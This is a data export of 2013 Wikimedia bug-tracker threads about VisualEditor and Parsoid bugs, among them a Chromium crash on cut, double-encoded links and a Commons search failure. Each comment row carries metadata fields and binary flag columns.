+241192,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I experienced this on [[Narayana_Gosain_Temple]] which cutting '==References==\n{{reflist}}\n"", which may have also cut ""{{coord missing|Odisha}}"" which follows it.",,,1374545513,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+241185,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"**ajc11123** wrote:
+
+I experience the same bug on Chrome 28.  Chrome crashes (displaying its characteristic ""Aw snap"" error page) when I try to cut certain templates, notably {{citation needed}}, {{who}}, and other in-line templates.  This does not happen with copying.  In addition, I could not reproduce the bug in my own userspace, only in article space.",,,1374110009,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+241180,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"This also happens on Chrome 28 with reference blocks, looks like. Not sure if the same problem - try cutting the ref block on https://en.wikipedia.org/wiki/Lumpectomy",,,1374082463,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+241174,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"It seems when I put a breakpoint in onCut and onCopy and step through slowly, it doesn't crash.",,,1374070133,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+241168,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I don't think I manage to remove templates only with CTRL-X, but if I select some text along and then try to cut, Chrome's tab will crash as well.",,,1373664045,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,1,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+241164,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"**bi.llybob** wrote:
+
+Also crashes when I try to cut multiple templates in Chrome. For example, if I select the two hatnotes at the top of https://en.wikipedia.org/wiki/Mauritius",,,1373171102,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+241159,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"**bi.llybob** wrote:
+
+(Chrome 27, Windows) I can't seem to text-select the template, and don't see ""Cut"" on the right-click menu when the cursor is over the template. However, I do get an error tone when I select the template and press Ctrl-X.",,,1373171014,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+241153,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"The content makes its way into the clipboard, but yes, I can reproduce.",,,1372006216,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+52042,Parsoid: External links are double encoded,"Intended edit (ve-edit + fixup):
+
+https://www.mediawiki.org/w/index.php?title=Wikimedia_technical_search&diff=715707&oldid=715705
+
+-  [https://github.com/search?l=&q=wgWellFormedXml+%40wikimedia Search]
++  [https://github.com/search?l=&q=ResourceLoader+%40wikimedia Search]
+
+Actual edit saved by Parsoid/VisualEditor:
+
+
+https://www.mediawiki.org/w/index.php?title=Wikimedia_technical_search&diff=715706&oldid=715705
+
+-  [https://github.com/search?l=&q=wgWellFormedXml+%40wikimedia Search]
++  [https://github.com/search?l=&q=ResourceLoader+%2540wikimedia Search]
+
+
+Note how the % got encoded to %25.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1371979620,1372442702.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-p2hyhzwp54l6ohsbe4j4,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+241104,Parsoid: External links are double encoded,"We might later want to prettify the percent encoding. Basically decode everything but some vital percent-encoded values ([%? ], probably more). But for now this is fixed.",,,1372442702,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-p2hyhzwp54l6ohsbe4j4,task_subcomment,,True,c1,2,True,,,-1,,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1
+241100,Parsoid: External links are double encoded,"Change 71082 merged by jenkins-bot:
+Bug 50042: Don't percent-encode modified external link hrefs
+
+https://gerrit.wikimedia.org/r/71082",,,1372442139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2hyhzwp54l6ohsbe4j4,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241096,Parsoid: External links are double encoded,"Change 71082 had a related patch set uploaded by GWicke:
+Bug 50042: Don't percent-encode modified external link hrefs
+
+https://gerrit.wikimedia.org/r/71082",,,1372441280,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2hyhzwp54l6ohsbe4j4,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241089,Parsoid: External links are double encoded,"Looks like a Parsoid bug. Works fine when data-parsoid is present, but for new annotations URLs are encoded.
+
+<a rel=""mw:ExtLink"" href=""https://github.com/search?l=&amp;q=ResourceLoader+%40wikimedia"">Search</a>
+
+serialises to:
+
+[https://github.com/search?l=&q=ResourceLoader+%2540wikimedia Search]",,,1372252496,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-p2hyhzwp54l6ohsbe4j4,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1
+52018,Search for filename with dashes on Commons does not return said file (seems to exclude string after dash),"Screenshot
+
+I am unable to insert a media with a given file name from Commons.
+
+Neither
+
+File:Kölnisches Stadtmuseum - 125 x gekauft - geschenkt - gestiftet-1120.jpg
+
+nor
+
+Kölnisches Stadtmuseum - 125 x gekauft - geschenkt - gestiftet-1120.jpg
+
+is accepted (and any other file name)
+
+The ""insert media"" button is still inactive, see screenhot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11348}",High,80.0,1371909840,1392141824.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-3nquleh2aykawirbt4st,task_description,declined,True,c1,2,False,False,False,-2,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+239763,Search for filename with dashes on Commons does not return said file (seems to exclude string after dash),"Unable to replicate this bug in CirrusSearch. As we're in the process of migrating from Lucene to CirrusSearch, I'm marking this bug as RESOLVED WONTFIX.",,,1392141824,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-3nquleh2aykawirbt4st,task_subcomment,,True,c1,3,True,,,32,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+239759,Search for filename with dashes on Commons does not return said file (seems to exclude string after dash),"Searching without the dashes finds the document.  Looks like -XXX excludes all matches with XXX.  I'd advise removing the dashes, at least for now.",,,1376493859,,PHID-USER-2rnfxoezl66afpa7w7in,False,,,PHID-TASK-3nquleh2aykawirbt4st,task_subcomment,,True,c1,3,False,,,6,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+239753,Search for filename with dashes on Commons does not return said file (seems to exclude string after dash),"Still an issue. Trying to add [[Commons:File:Kölner Dom - Abbau südöstliches Gerüst Nordturm-2933.jpg]] to [[de:Traverse (mechanischer Träger)]].
+
+This is really annoying. Makes testing the VE impossible :-(",,,1374756848,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-3nquleh2aykawirbt4st,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+239749,Search for filename with dashes on Commons does not return said file (seems to exclude string after dash),"This is… exceptionally odd. VisualEditor is just using the built-in search system from the cluster, and as you can see your image doesn't come up with that (or several sub-strings of that) as the search string:
+
+https://en.wikipedia.org/w/index.php?title=Special:Search&search=K%C3%B6lnisches%20Stadtmuseum%20-%20125%20x%20gekauft%20-%20geschenkt%20-%20gestiftet-1120.jpg&fulltext=Search&profile=images&redirs=1
+
+https://en.wikipedia.org/w/index.php?title=Special:Search&search=K%C3%B6lnisches%20Stadtmuseum%20-%20125%20x%20gekauft%20-%20geschenkt%20-%20gestiftet-1120&fulltext=Search&profile=images&redirs=1
+
+https://en.wikipedia.org/w/index.php?title=Special:Search&search=K%C3%B6lnisches%20Stadtmuseum%20-%20125%20x%20gekauft%20-%20geschenkt%20-%20gestiftet-1120&fulltext=Search&profile=images&redirs=1
+
+https://en.wikipedia.org/w/index.php?title=Special:Search&search=geschenkt%20-%20gestiftet-1120&fulltext=Search&profile=images&redirs=1
+
+Interestingly, it does come up under:
+
+https://en.wikipedia.org/w/index.php?title=Special:Search&search=gestiftet-1120&fulltext=Search&profile=images&redirs=1",,,1373156554,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3nquleh2aykawirbt4st,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+52013,"VisualEditor: Consecutive images align incorrectly in ""edit"" mode and cannot be modified","See, for example, https://en.wikipedia.org/wiki/Kaveri_River
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371896520,1371972536.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-isttvrxbjpvgt5itwu5n,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+239526,"VisualEditor: Consecutive images align incorrectly in ""edit"" mode and cannot be modified","This is a very odd bug that appears to be due to an old mis-cached version of the Parsoid result (it was marking each of the images as about=""null""); we've flushed the caches, and it no longer appears AFAICT. Please re-open if it recurs.",,,1371972536,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-isttvrxbjpvgt5itwu5n,task_subcomment,,True,c1,2,True,,,-2,,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+52012,VisualEditor: Thumbnailed images without descriptions get pipes added on edit,"Compare https://en.wikipedia.org/w/index.php?title=User:Edgepedia/sandbox3&diff=prev&oldid=560957268 to https://en.wikipedia.org/w/index.php?title=User%3AEdgepedia%2Fsandbox3&diff=560957359&oldid=560957268
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371895500,1372124850.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mnsdqy6zrnvlm2uqkhcw,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239494,VisualEditor: Thumbnailed images without descriptions get pipes added on edit,"Fixed (I think) in gerrit 70357 which we've just deployed - if we get a repeat, please re-open.",,,1372124850,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mnsdqy6zrnvlm2uqkhcw,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+239489,VisualEditor: Thumbnailed images without descriptions get pipes added on edit,*** Bug 50116 has been marked as a duplicate of this bug. ***,,,1372096490,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mnsdqy6zrnvlm2uqkhcw,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+239483,VisualEditor: Thumbnailed images without descriptions get pipes added on edit,"Inez is already working on this, but I don't think we have a bug for it?",,,1372017842,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mnsdqy6zrnvlm2uqkhcw,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+52008,Images not displayed in latest VE deployment,"I hope this is a false alarm... but it seems to be real.
+
+Compare [[Locomotive]] (images visible - en is currently on 1.22wmf7) with [[testwiki:VisualEditor:Locomotive]] (no images - test is on 1.22wmf8).
+
+Seen on Firefox latest and Chrome latest.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1371887280,1372003922.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-ffl4fedejvxwcxttjfil,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1
+239290,Images not displayed in latest VE deployment,"Aha, I can now reproduce on that link - and looking at the HTML we get back from Parsoid, the first image comes back as
+
+<meta typeof=""mw:Placeholder"" data-parsoid='{""src"":""[[File:Net.jpg|thumb]]"",""optList"":[{""ck"":""thumbnail"",""ak"":""thumb""}],""dsr"":[0,22,null,null]}'>
+
+… and so VisualEditor dutifully doesn't display an image. Marking as a duplicate of the Parsoid bug, even though that is higher-numbered. Sorry about this. :-(
+
+*** This bug has been marked as a duplicate of bug 50035 ***",,,1372003922,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ffl4fedejvxwcxttjfil,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+239286,Images not displayed in latest VE deployment,"It seems to be mostly working again, although I couldn't see any images just a few hours ago. 
+
+I still can't see the first image on [[testwiki:Net]]. This just may be the Parsoid cache though.",,,1371970998,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-ffl4fedejvxwcxttjfil,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+239282,Images not displayed in latest VE deployment,"(In reply to comment #1)
+> … with what browser …
+
+And, of course, you told me that. Sorry! :-( Can't reproduce on latest master or in latest push of wmf8.",,,1371970401,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ffl4fedejvxwcxttjfil,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1,1
+239279,Images not displayed in latest VE deployment,"I'm afraid I can't reproduce this - was this a transient issue, or do you still get it, and if so, with what browser, and are there any error messages on the console?",,,1371970022,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ffl4fedejvxwcxttjfil,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+51998,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","Currently scheduled for w/c 15 July. It's anticipated that this will not be possible for some wikis due to failings in VisualEditor and/or Parsoid; exact list to be determined closer to the time.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51792
+https://bugzilla.wikimedia.org/show_bug.cgi?id=33126
+https://bugzilla.wikimedia.org/show_bug.cgi?id=33077
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52202",High,80.0,1371860160,1375105856.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_description,resolved,True,c1,2,True,False,True,-2,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+238670,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","(In reply to comment #14)
+> (In reply to comment #13)
+> > The patch was committed and merged (but the notification bot incorrectly
+> > reset the status), so I'm setting this back to FIXED again as the original
+> > request that this bug report is about (see subject line) has been fulfilled.
+> 
+> I'm not sure the original request (""top 15"" Wikipedias) has been fulfilled,
+> but I'm also not sure that's still the goal. I'll leave this bug to James to
+> sort out.
+
+Re-titled for clarity. I feel that this is closed.",,,1375125139,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+238667,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","Change 76199 merged by jenkins-bot:
+Enable anonymous use of VisualEditor on es/fr/he/it/pl/ru/sv
+
+https://gerrit.wikimedia.org/r/76199",,,1375115804,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238664,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","(In reply to comment #13)
+> The patch was committed and merged (but the notification bot incorrectly
+> reset the status), so I'm setting this back to FIXED again as the original
+> request that this bug report is about (see subject line) has been fulfilled.
+
+I'm not sure the original request (""top 15"" Wikipedias) has been fulfilled, but I'm also not sure that's still the goal. I'll leave this bug to James to sort out.",,,1375115210,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+238661,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","The patch was committed and merged (but the notification bot incorrectly reset the status), so I'm setting this back to FIXED again as the original request that this bug report is about (see subject line) has been fulfiled.
+Note that this is not any kind of statement refering to bug 52202, it's just to reflect the current situation. For the German Wikipedia deployment, please refer to bug 52202 instead. Thanks!",,,1375105856,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,True,,,4,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+238656,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","**wikipedia** wrote:
+
+(In reply to comment #11)
+> They more than likely mean all the major bugs that cause issues with editing
+> (eg: dirty diffs, randomly inserting pawns to name two)
+
+Exactly, thank you for clarification.",,,1375089579,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
